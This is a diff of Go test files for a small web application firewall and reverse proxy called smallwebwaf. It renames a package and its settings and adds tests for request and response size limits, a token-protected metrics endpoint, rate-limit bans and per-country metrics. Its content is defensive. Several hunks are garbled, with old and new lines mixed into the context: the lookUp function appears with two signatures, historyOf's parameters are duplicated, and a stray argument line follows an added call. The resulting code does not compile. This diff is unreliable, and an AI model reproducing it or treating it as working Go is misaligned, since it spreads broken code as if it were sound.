 				"want %q", line.ResponseContentType, contentType)
 		}
 	}
 	wantLine(t, lines[healthChecks], http.StatusOK, requestlog.ActionForward)
 	if calls.Load() != 1 {
 		t.Errorf("the app was called %d times, want once", calls.Load())
 	}
 }
@@ -1,4 +1,4 @@
-package discriminator_test
+package proxy_test
 import (
 	"io"
@@ -8,7 +8,7 @@ import (
 	"testing"
 	"time"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
@@ -18,7 +18,6 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
 	geojsURL, _ := startGeoJS(t)
 	s, clk, server := startWithClock(t, geojsURL, map[string]string{
 		lookupTimeout:      "1h",
 		rateLimitPerMinute: "2",
 		deniedCountries:    "kp",
 	})
@@ -45,7 +44,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
 		Requests:  4,
 		Forwarded: 2,
 		Refused:   2,
-		// The app answers with no body, sww with its status text.
+		// The app answers with no body, smallwebwaf with its status text.
 		ResponseBytes: 2 * int64(len("Forbidden\n")),
 		Responses:     ratelimit.Responses{Status2xx: 2, Status4xx: 2},
 		Offences:      ratelimit.Offences{Limit: 1},
@@ -57,24 +56,6 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
 	}
 }
 func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
 	t.Parallel()
 	s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
 	// The third client drops the least recently seen, the first, with its
 	// history.
 	for _, from := range []string{"192.0.2.1", "192.0.2.2", "192.0.2.3"} {
 		s.get(from, http.StatusOK, requestlog.ActionForward)
 	}
 	_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
 	if server.Limiter.Len() != 2 || held {
 		t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
 			"without it", server.Limiter.Len(), held)
 	}
 }
 func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
 	t.Parallel()
@@ -86,7 +67,7 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
 	got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
 	wantStatus(t, got, http.StatusOK)
-	out.endedLine(t)
+	out.requestLine(t)
 	history := historyOf(t, server, localhost)
 	if history.RequestBytes != 3 || history.ResponseBytes != 5 {
@@ -95,41 +76,43 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
 	}
 }
-func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
+func TestHealthEndpointIsNotInTheHistory(t *testing.T) {
 	t.Parallel()
-	s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
 	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
-	s.adminRequest("", http.MethodGet, discriminator.HealthPath, "", http.StatusOK)
+	wantStatus(t, get(t, addr, proxy.HealthPath), http.StatusOK)
-	s.adminRequest("", http.MethodGet, discriminator.MetricsPath, "",
+	out.requestLine(t)
 		http.StatusUnauthorized)
 	s.scrape()
 	if clients := server.Limiter.Snapshot(); len(clients) != 0 {
 		t.Errorf("the table holds %+v, want no client", clients)
 	}
 }
-func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
+func TestRequestForSmallwebwafIsRefusedOnlyWithoutTheToken(t *testing.T) {
 	t.Parallel()
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
-	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
+	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
 		map[string]string{metricsToken: token})
-	wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
+	// The metrics and the 404 are neither forwarded nor refused; the 401
-	out.endedLine(t)
+	// is refused.
 	scrape(t, addr)
 	wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound)
 	wantStatus(t, get(t, addr, proxy.MetricsPath), http.StatusUnauthorized)
 	out.requestLines(t, 3)
 	history := historyOf(t, server, localhost)
-	if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 {
+	if history.Requests != 3 || history.Forwarded != 0 || history.Refused != 1 {
 		t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
-			"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
+			"want 3, 0 and 1", history.Requests, history.Forwarded, history.Refused)
 	}
 }
 // historyOf returns the history of the client at addr.
-func historyOf(
+func historyOf(t *testing.T, server *proxy.Server, addr string) ratelimit.History {
 	t *testing.T, server *discriminator.Server, addr string,
 ) ratelimit.History {
 	t.Helper()
 	client := netip.MustParsePrefix(addr + "/32")
@@ -0,0 +1,162 @@
 package proxy_test
 import (
 	"bytes"
 	"errors"
 	"io"
 	"net/http"
 	"strconv"
 	"sync/atomic"
 	"testing"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 // sizeLimit is the size limit the tests set, 1K as a setting.
 const (
 	sizeLimit        = 1 << 10
 	sizeLimitSetting = "1K"
 )
 func TestRequestBodyLimit(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name string
 		size int
 		// announced sends the size in Content-Length; otherwise the body
 		// is sent in chunks with no length given.
 		announced bool
 		want      int
 		action    string
 		// refusedBeforeApp is a refusal before anything reaches the app.
 		// A body over the limit with no length given has already partly
 		// reached the app when it is refused.
 		refusedBeforeApp bool
 	}{
 		{"announced, over the limit", 2 * sizeLimit, true,
 			http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge, true},
 		{"announced, at the limit", sizeLimit, true,
 			http.StatusOK, requestlog.ActionForward, false},
 		{"not announced, over the limit", 4 * sizeLimit, false,
 			http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge, false},
 		{"not announced, at the limit", sizeLimit, false,
 			http.StatusOK, requestlog.ActionForward, false},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			var calls atomic.Int32
 			app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
 				calls.Add(1)
 				_, _ = io.Copy(io.Discard, r.Body)
 			})
 			addr, out := startProxy(t, app.URL, map[string]string{
 				requestMaxBytes: sizeLimitSetting,
 				metricsToken:    token,
 			})
 			var body io.Reader = bytes.NewReader(make([]byte, tc.size))
 			if !tc.announced {
 				body = io.MultiReader(body) // hides the length
 			}
 			wantStatus(t, do(t, newRequest(t, http.MethodPost, addr, "/upload", body)),
 				tc.want)
 			wantLine(t, out.requestLine(t), tc.want, tc.action)
 			hits := 0
 			if tc.action == requestlog.ActionTooLarge {
 				hits = 1
 			}
 			wantLimitHits(t, addr, requestMaxBytes, hits)
 			if tc.refusedBeforeApp && calls.Load() != 0 {
 				t.Errorf("the app was called %d times, want never", calls.Load())
 			}
 		})
 	}
 }
 func TestResponseBodyLimit(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name string
 		size int
 		// announced sends the size in Content-Length; otherwise the body
 		// is sent in chunks with no length given.
 		announced bool
 		want      int
 		action    string
 		// received is how much of a body the client gets, and cutOff
 		// whether the connection is then cut.
 		received int
 		cutOff   bool
 	}{
 		{"announced, over the limit", 2 * sizeLimit, true, http.StatusBadGateway,
 			requestlog.ActionTooLarge, len("Bad Gateway\n"), false},
 		{"announced, at the limit", sizeLimit, true, http.StatusOK,
 			requestlog.ActionForward, sizeLimit, false},
 		{"not announced, over the limit", 4 * sizeLimit, false, http.StatusOK,
 			requestlog.ActionTooLarge, sizeLimit, true},
 		{"not announced, at the limit", sizeLimit, false, http.StatusOK,
 			requestlog.ActionForward, sizeLimit, false},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 				answerWithSize(w, tc.size, tc.announced)
 			})
 			addr, out := startProxy(t, app.URL, map[string]string{
 				responseMaxBytes: sizeLimitSetting,
 				metricsToken:     token,
 			})
 			got := get(t, addr, "/download")
 			wantStatus(t, got, tc.want)
 			if len(got.body) != tc.received ||
 				errors.Is(got.err, io.ErrUnexpectedEOF) != tc.cutOff {
 				t.Errorf("client got %d bytes (%v), want %d",
 					len(got.body), got.err, tc.received)
 			}
 			line := out.requestLine(t)
 			wantLine(t, line, tc.want, tc.action)
 			if line.UpstreamStatus != http.StatusOK {
 				t.Errorf("log line has upstream_status %d", line.UpstreamStatus)
 			}
 			hits := 0
 			if tc.action == requestlog.ActionTooLarge {
 				hits = 1
 			}
 			wantLimitHits(t, addr, responseMaxBytes, hits)
 		})
 	}
 }
 // answerWithSize answers with a body of size bytes, announced in
 // Content-Length or sent in chunks with no length given.
 func answerWithSize(w http.ResponseWriter, size int, announced bool) {
 	body := make([]byte, size)
 	if announced {
 		w.Header().Set("Content-Length", strconv.Itoa(size))
 		_, _ = w.Write(body)
 		return
 	}
 	// Sending part of it before the end keeps Go's server from working
 	// out the length.
 	_, _ = w.Write(body[:size/2])
 	_ = http.NewResponseController(w).Flush()
 	_, _ = w.Write(body[size/2:])
 }
@@ -1,18 +1,18 @@
-package discriminator
+package proxy
 import (
 	"context"
 	"net/http"
 	"net/netip"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 )
-// The headers in which an answer of allow gives rproxy the client's AS number
+// The headers in which the app is passed the client's AS number and
-// and country, for the app, while SWW_ADD_LOOKUP_HEADERS is set. Go writes
+// country while SWWAF_ADD_LOOKUP_HEADERS is set. Go writes every header
-// every header name in this form, as it sends it and as it receives it, so
+// name in this form, as it sends it and as it receives it, so X-Client-ASN
-// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
+// arrives as X-Client-Asn, and Del removes a client's own whatever their
 // case; header names are not case-sensitive.
 const (
 	asnHeader     = "X-Client-Asn"
 	countryHeader = "X-Client-Country"
@@ -20,27 +20,20 @@ const (
 // lookUp looks up the client's AS number and country, in the lookup
 // database or through GeoJS, and notes them for the log line, unless
-// SWW_LOOKUP_SOURCE is off or the client is on a private, loopback or
+// SWWAF_LOOKUP_SOURCE is off or the client is on a private, loopback or
 // link-local address, which no lookup can place. The lookup database
 // answers at once. With GeoJS, while a setting needs the answer, such as a
-// country list or a biased threshold, a new client's request waits for it,
+// country list or a biased threshold, a new client's request waits for it.
-// unless refusedWhateverTheAnswer reports true. ctx is the request's own
+// ctx is the request's own context.
-// context.
+func (rq *request) lookUp(ctx context.Context) {
 func (rq *request) lookUp(ctx context.Context, now time.Time) {
 	if rq.h.config.LookupSource == "off" || !canBePlaced(rq.client) {
 		return
 	}
-	client := rq.h.clientGroup(rq.client)
+	if rq.h.config.LookupSource == "file" {
-
+		rq.lookupAnswer = rq.h.lookupFile.LookUp(clientGroup(rq.client))
-	switch {
+	} else {
-	case rq.h.config.LookupSource == "file":
+		rq.lookupAnswer = rq.h.geojs.LookUp(ctx, clientGroup(rq.client))
 		rq.lookupAnswer = rq.h.lookupFile.LookUp(client)
 	case rq.refusedWhateverTheAnswer(now):
 		rq.lookupAnswer = rq.h.geojs.LookUpWithoutWaiting(ctx, client)
 		rq.skippedLookupWait = rq.lookupAnswer.Answered.IsZero()
 	default:
 		rq.lookupAnswer = rq.h.geojs.LookUp(ctx, client)
 	}
 	rq.lookedUp = true
@@ -59,8 +52,8 @@ func (h *handler) addLookup(answer lookup.Answer) {
 		answer.ASN, answer.ASName, answer.Country)
 }
-// setLookupHeaders sets the headers that give the client's AS number and
+// setLookupHeaders sets the headers in which the app is passed the
-// country, leaving out one that is unknown.
+// client's AS number and country, leaving out one that is unknown.
 func setLookupHeaders(header http.Header, asn, country string) {
 	if asn != "" {
 		header.Set(asnHeader, asn)
@@ -1,7 +1,9 @@
-package discriminator_test
+package proxy_test
 import (
 	"net"
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
 	"path/filepath"
 	"slices"
@@ -20,7 +22,7 @@ import (
 // and country.
 type asnAndCountry struct{ asn, asName, country string }
-// fileSource is the SWW_LOOKUP_SOURCE that looks clients up in the
+// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
 // lookup database.
 const fileSource = "file"
@@ -84,75 +86,6 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T)
 	}
 }
 func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
 	t.Parallel()
 	// The country list has a new client's request wait for its answer,
 	// which the stand-in for GeoJS gives only once released.
 	geojsURL, asked, release := startHeldGeoJS(t)
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
 	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
 	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
 		map[string]string{
 			trustedProxies:  trustLocalhost,
 			lookupTimeout:   "1h",
 			deniedCountries: "kp",
 		})
 	requestFromDE := func() *http.Request {
 		req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 		req.Header.Set(forwardedFor, fromDE)
 		return req
 	}
 	// fromDE's first request arrives two seconds before a minute ends,
 	// and waits for GeoJS.
 	first, httpClient := requestFromDE(), newClient(t)
 	firstEnded := make(chan error, 1)
 	go func() {
 		res, err := httpClient.Do(first)
 		if err == nil {
 			err = readAnswer(res).err
 		}
 		firstEnded <- err
 	}()
 	waitUntil(func() bool { return len(asked()) == 1 })
 	// Half a second into the next minute, the answer is kept, as an edit
 	// of lookups.json would keep it, while the first request still waits
 	// for GeoJS. The second request goes on at once, and is counted.
 	clk.advance(2500 * time.Millisecond)
 	server.GeoJS.Load([]lookup.Answer{{
 		Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
 		Country: "DE", Answered: clk.Now(), Used: clk.Now(),
 	}})
 	wantStatus(t, do(t, requestFromDE()), http.StatusOK)
 	// GeoJS answers, and the first request goes on.
 	release()
 	err := <-firstEnded
 	if err != nil {
 		t.Fatalf("first request: %v", err)
 	}
 	wantLine(t, out.endedLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
 	// The third request's count holds all three: the first was counted
 	// when it went on, in the minute under way, and the second's count
 	// was kept.
 	clk.advance(500 * time.Millisecond)
 	wantStatus(t, do(t, requestFromDE()), http.StatusOK)
 	if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 {
 		t.Errorf("the third request's count in the minute is %v, want 3", got)
 	}
 }
 func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
 	t.Parallel()
@@ -162,7 +95,7 @@ func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.
 	addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now,
 		map[string]string{
 			trustedProxies:     trustLocalhost,
-			alertWebhookURL:    "https://alerts.example/sww",
+			alertWebhookURL:    "https://alerts.example/smallwebwaf",
 			rateLimitPerMinute: "1",
 		})
 	s := &sender{t: t, addr: addr, out: out}
@@ -316,8 +249,7 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
 	geojsURL, _ := startGeoJS(t)
 	addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
 		trustedProxies:   trustLocalhost,
-		lookupTimeout:    "1h",
+		addLookupHeaders: "true",
 		addLookupHeaders: on,
 	})
 	s := &sender{t: t, addr: addr, out: out}
@@ -379,21 +311,24 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
 	// clock of the test's own: the wait lasts exactly as long as it should,
 	// however slowly the test process runs. Nothing in it may wait on the
 	// network, which would keep that clock from moving on: the request is
-	// handed to discriminator's handler, and GeoJS is one that never answers.
+	// handed to the proxy's handler, and GeoJS is one that never answers.
 	synctest.Test(t, func(t *testing.T) {
-		// Not the default. The exclusive list needs the answer, and the app
+		// Not the default second. The exclusive list needs the answer, and
-		// is never reached.
+		// the app is never reached.
 		const timeout = 3 * time.Second
-		server, out, _ := newDiscriminator(t, unansweredGeoJSURL, time.Now,
+		server, out, _ := newProxy(t, "http://app.invalid", unansweredGeoJSURL,
-			map[string]string{
+			time.Now, map[string]string{
 				lookupTimeout:    timeout.String(),
 				allowedCountries: "DE",
 			})
 		req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
 			http.NoBody)
 		req.RemoteAddr = net.JoinHostPort(fromDE, "1234")
 		began := time.Now()
-		serveFromDE(t, server, http.MethodGet, http.NoBody)
+		server.Handler.ServeHTTP(httptest.NewRecorder(), req)
 		if waited := time.Since(began); waited != timeout {
 			t.Errorf("the request waited %s for its answer, want %s", waited, timeout)
@@ -414,7 +349,6 @@ const unansweredGeoJSURL = "unanswered://geojs/v1/ip/geo.json"
 func TestMain(m *testing.M) {
 	transport, _ := http.DefaultTransport.(*http.Transport)
 	transport.RegisterProtocol("unanswered", unansweredGeoJS{})
 	transport.RegisterProtocol("abuseipdb", abuseIPDBStandIn{})
 	m.Run()
 }
@@ -0,0 +1,545 @@
 package proxy_test
 import (
 	"io"
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
 	"strconv"
 	"strings"
 	"sync"
 	"sync/atomic"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 const (
 	metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name
 	metricsTopN  = "SWWAF_METRICS_TOP_N"
 	// token is the SWWAF_METRICS_TOKEN the tests set, and bearer how a
 	// request carries it.
 	token  = "0123456789abcdef0123456789abcdef"
 	bearer = "Bearer " + token
 )
 func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
 	t.Parallel()
 	var calls atomic.Int32
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {
 		calls.Add(1)
 	})
 	addr, out := startProxy(t, app.URL, nil)
 	// An empty token does not match the unset one either.
 	for i, authorization := range []string{bearer, "Bearer ", ""} {
 		req := newRequest(t, http.MethodGet, addr, proxy.MetricsPath, http.NoBody)
 		if authorization != "" {
 			req.Header.Set("Authorization", authorization)
 		}
 		wantStatus(t, do(t, req), http.StatusNotFound)
 		wantLine(t, out.requestLines(t, i+1)[i], http.StatusNotFound,
 			requestlog.ActionAdmin)
 	}
 	if calls.Load() != 0 {
 		t.Errorf("the app was called %d times, want never", calls.Load())
 	}
 }
 func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
 	t.Parallel()
 	var calls atomic.Int32
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {
 		calls.Add(1)
 	})
 	addr, out := startProxy(t, app.URL, map[string]string{metricsToken: token})
 	for i, tc := range []struct {
 		method, path, authorization string
 		status                      int
 	}{
 		{http.MethodGet, proxy.MetricsPath, "", http.StatusUnauthorized},
 		{
 			http.MethodGet, proxy.MetricsPath, "Bearer " + strings.ToUpper(token),
 			http.StatusUnauthorized,
 		},
 		{http.MethodGet, proxy.MetricsPath, "Basic " + token, http.StatusUnauthorized},
 		{http.MethodGet, proxy.MetricsPath, bearer, http.StatusOK},
 		{http.MethodGet, proxy.MetricsPath, "bearer " + token, http.StatusOK},
 		{http.MethodPost, proxy.MetricsPath, bearer, http.StatusNotFound},
 		{http.MethodGet, proxy.MetricsPath + "/", bearer, http.StatusNotFound},
 		{http.MethodGet, "/_smallwebwaf/bans", bearer, http.StatusNotFound},
 		{http.MethodPost, proxy.HealthPath, "", http.StatusNotFound},
 	} {
 		req := newRequest(t, tc.method, addr, tc.path, http.NoBody)
 		if tc.authorization != "" {
 			req.Header.Set("Authorization", tc.authorization)
 		}
 		got := do(t, req)
 		wantStatus(t, got, tc.status)
 		wantLine(t, out.requestLines(t, i+1)[i], tc.status, requestlog.ActionAdmin)
 		if tc.status == http.StatusUnauthorized &&
 			got.header.Get("WWW-Authenticate") != "Bearer" {
 			t.Errorf("%q was answered without WWW-Authenticate: Bearer",
 				tc.authorization)
 		}
 		if tc.status == http.StatusOK &&
 			!strings.Contains(string(got.body), "# TYPE smallwebwaf_requests_total counter") {
 			t.Errorf("the metrics are\n%s", got.body)
 		}
 	}
 	if calls.Load() != 0 {
 		t.Errorf("the app was called %d times, want never", calls.Load())
 	}
 }
 func TestMetricsAreAskedForThroughTheChecks(t *testing.T) {
 	t.Parallel()
 	s, _, _ := startWithClock(t, "", map[string]string{
 		metricsToken:       token,
 		rateLimitPerMinute: "1",
 	})
 	// Asking for the metrics counts toward the client's limit of one
 	// request a minute, so its next request breaks it, and bans it. A
 	// banned client is refused the metrics too.
 	s.scrape(client)
 	s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
 	s.requestWithHeader(client, proxy.MetricsPath, "Authorization: "+bearer,
 		http.StatusForbidden, requestlog.ActionBanned)
 }
 func TestMetricsCountTheTraffic(t *testing.T) {
 	t.Parallel()
 	arrived, release := make(chan struct{}), make(chan struct{})
 	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
 		_, _ = io.Copy(io.Discard, r.Body)
 		if r.URL.Path == "/held" {
 			close(arrived)
 			<-release
 		}
 		_, _ = io.WriteString(w, "hello")
 	})
 	releaseApp := sync.OnceFunc(func() { close(release) })
 	t.Cleanup(releaseApp)
 	addr, out := startProxy(t, app.URL, map[string]string{metricsToken: token})
 	got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
 	wantStatus(t, got, http.StatusOK)
 	wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound)
 	out.requestLines(t, 2)
 	forward := `{action="forward",instance="app",status_class="2xx"}`
 	notFound := `{action="admin",instance="app",status_class="4xx"}`
 	// The request for the metrics is itself under way.
 	metrics := scrape(t, addr)
 	wantMetric(t, metrics, "smallwebwaf_requests_total"+forward, 1)
 	wantMetric(t, metrics, "smallwebwaf_requests_total"+notFound, 1)
 	wantMetric(t, metrics, "smallwebwaf_request_bytes_total"+forward, 3)
 	wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+forward, 5)
 	wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+notFound,
 		float64(len("Not Found\n")))
 	wantMetric(t, metrics,
 		`smallwebwaf_request_duration_seconds_count{instance="app"}`, 2)
 	wantMetric(t, metrics,
 		`smallwebwaf_upstream_duration_seconds_count{instance="app"}`, 1)
 	wantMetric(t, metrics, `smallwebwaf_requests_in_flight{instance="app"}`, 1)
 	metric(t, metrics, `go_goroutines{instance="app"}`)
 	metric(t, metrics, `process_start_time_seconds{instance="app"}`)
 	// A request the app holds is under way until it ends.
 	httpClient := newClient(t)
 	held := newRequest(t, http.MethodGet, addr, "/held", http.NoBody)
 	ended := make(chan error, 1)
 	go func() {
 		res, err := httpClient.Do(held)
 		if err == nil {
 			err = readAnswer(res).err
 		}
 		ended <- err
 	}()
 	<-arrived
 	wantMetric(t, scrape(t, addr), `smallwebwaf_requests_in_flight{instance="app"}`, 2)
 	releaseApp()
 	err := <-ended
 	if err != nil {
 		t.Fatalf("held request: %v", err)
 	}
 	out.requestLines(t, 5)
 	wantMetric(t, scrape(t, addr), `smallwebwaf_requests_in_flight{instance="app"}`, 1)
 }
 func TestMetricsCountLimitsAndBans(t *testing.T) {
 	t.Parallel()
 	const (
 		scraper = "192.0.2.200" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
 		denied  = "192.0.2.50"  // in SWWAF_DENY_NETS
 	)
 	s, clk, _ := startWithClock(t, "", map[string]string{
 		metricsToken:        token,
 		rateLimitPerMinute:  "1",
 		rateLimitExemptNets: scraper,
 		denyNets:            denied,
 		banResponse:         "close",
 		limitBanDuration:    "1h",
 		maxBanDuration:      "2h",
 	})
 	// SWWAF_BAN_RESPONSE=close sends no status at all.
 	s.get(denied, 0, requestlog.ActionDenied)
 	// A first broken limit bans for an hour.
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	s.get(client, 0, requestlog.ActionRateLimited)
 	metrics := s.scrape(scraper)
 	wantMetric(t, metrics,
 		`smallwebwaf_requests_total{action="denied",instance="app",status_class="none"}`, 1)
 	wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
 		`kind="requests",window="minute"}`, 1)
 	wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
 	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
 	wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1)
 	wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 0)
 	clk.advance(time.Hour)
 	wantMetric(t, s.scrape(scraper), `smallwebwaf_active_bans{instance="app"}`, 0)
 	// A limit broken again right after would ban for three hours, longer
 	// than SWWAF_MAX_BAN_DURATION, so the ban is permanent.
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	s.get(client, 0, requestlog.ActionRateLimited)
 	metrics = s.scrape(scraper)
 	wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
 		`kind="requests",window="minute"}`, 2)
 	wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 2)
 	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 2)
 	wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1)
 	wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
 	// denied, client, and the scraper as of its earlier requests.
 	wantMetric(t, metrics, `smallwebwaf_tracked_clients{instance="app"}`, 3)
 }
 func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
 	t.Parallel()
 	const scraper = "192.0.2.200" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
 	s, clk, server := startWithClock(t, "", map[string]string{
 		metricsToken:        token,
 		adminToken:          adminSecret,
 		rateLimitExemptNets: scraper,
 	})
 	const admins = `smallwebwaf_bans_made_total{cause="admin",instance="app"}`
 	wantMetric(t, s.scrape(scraper), admins, 0)
 	// As an admin's edit of bans.json that adds a ban is taken in.
 	server.Ledger.LoadEdit([]bans.Ban{{
 		Netblock: netip.MustParsePrefix(client + "/32"),
 		Start:    clk.Now(),
 	}})
 	wantMetric(t, s.scrape(scraper), admins, 1)
 	// And a ban made through the endpoint.
 	s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK)
 	wantMetric(t, s.scrape(scraper), admins, 2)
 }
 func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
 	t.Parallel()
 	const fromFR = "198.51.100.20"
 	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
 		_, _ = io.Copy(io.Discard, r.Body)
 		_, _ = io.WriteString(w, "hello")
 	})
 	env := map[string]string{
 		trustedProxies:  trustLocalhost,
 		metricsToken:    token,
 		metricsTopN:     "2",
 		deniedCountries: "kp",
 	}
 	geojsURL, _ := startGeoJS(t)
 	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env)
 	// The answers are kept before the requests, so that none waits for
 	// GeoJS.
 	server.GeoJS.Load([]lookup.Answer{
 		keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"),
 	})
 	lines := 0
 	send := func(from string, times, status int) {
 		t.Helper()
 		for range times {
 			req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))
 			req.Header.Set(forwardedFor, from)
 			wantStatus(t, do(t, req), status)
 			// Each is counted before the next is sent, so that the
 			// countries are ranked in the order sent.
 			lines++
 			out.requestLines(t, lines)
 		}
 	}
 	// With two countries of their own, the third is counted as other.
 	send(fromKP, 3, http.StatusForbidden)
 	send(fromDE, 2, http.StatusOK)
 	send(fromFR, 1, http.StatusOK)
 	metrics := scrape(t, addr)
 	lines++
 	wantMetric(t, metrics,
 		`smallwebwaf_country_requests_total{country="KP",instance="app"}`, 3)
 	wantMetric(t, metrics,
 		`smallwebwaf_country_requests_total{country="DE",instance="app"}`, 2)
 	wantMetric(t, metrics,
 		`smallwebwaf_country_requests_total{country="other",instance="app"}`, 1)
 	wantMetric(t, metrics,
 		`smallwebwaf_country_list_refusals_total{country="KP",instance="app"}`, 3)
 	wantMetric(t, metrics,
 		`smallwebwaf_country_request_bytes_total{country="KP",instance="app"}`, 0)
 	wantMetric(t, metrics,
 		`smallwebwaf_country_request_bytes_total{country="DE",instance="app"}`, 6)
 	wantMetric(t, metrics,
 		`smallwebwaf_country_response_bytes_total{country="KP",instance="app"}`,
 		float64(3*len("Forbidden\n")))
 	wantMetric(t, metrics,
 		`smallwebwaf_country_response_bytes_total{country="other",instance="app"}`,
 		float64(len("hello")))
 	wantNoSeries(t, metrics,
 		`smallwebwaf_country_requests_total{country="FR",instance="app"}`)
 	// Once FR is busier than DE, it takes DE's place: its series counts
 	// from then on, and DE's is gone.
 	send(fromFR, 3, http.StatusOK)
 	metrics = scrape(t, addr)
 	wantMetric(t, metrics,
 		`smallwebwaf_country_requests_total{country="KP",instance="app"}`, 3)
 	wantMetric(t, metrics,
 		`smallwebwaf_country_requests_total{country="FR",instance="app"}`, 2)
 	wantMetric(t, metrics,
 		`smallwebwaf_country_requests_total{country="other",instance="app"}`, 2)
 	wantNoSeries(t, metrics,
 		`smallwebwaf_country_requests_total{country="DE",instance="app"}`)
 	wantNoSeries(t, metrics,
 		`smallwebwaf_country_request_bytes_total{country="DE",instance="app"}`)
 }
 func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
 	t.Parallel()
 	geojsURL, _ := startGeoJS(t)
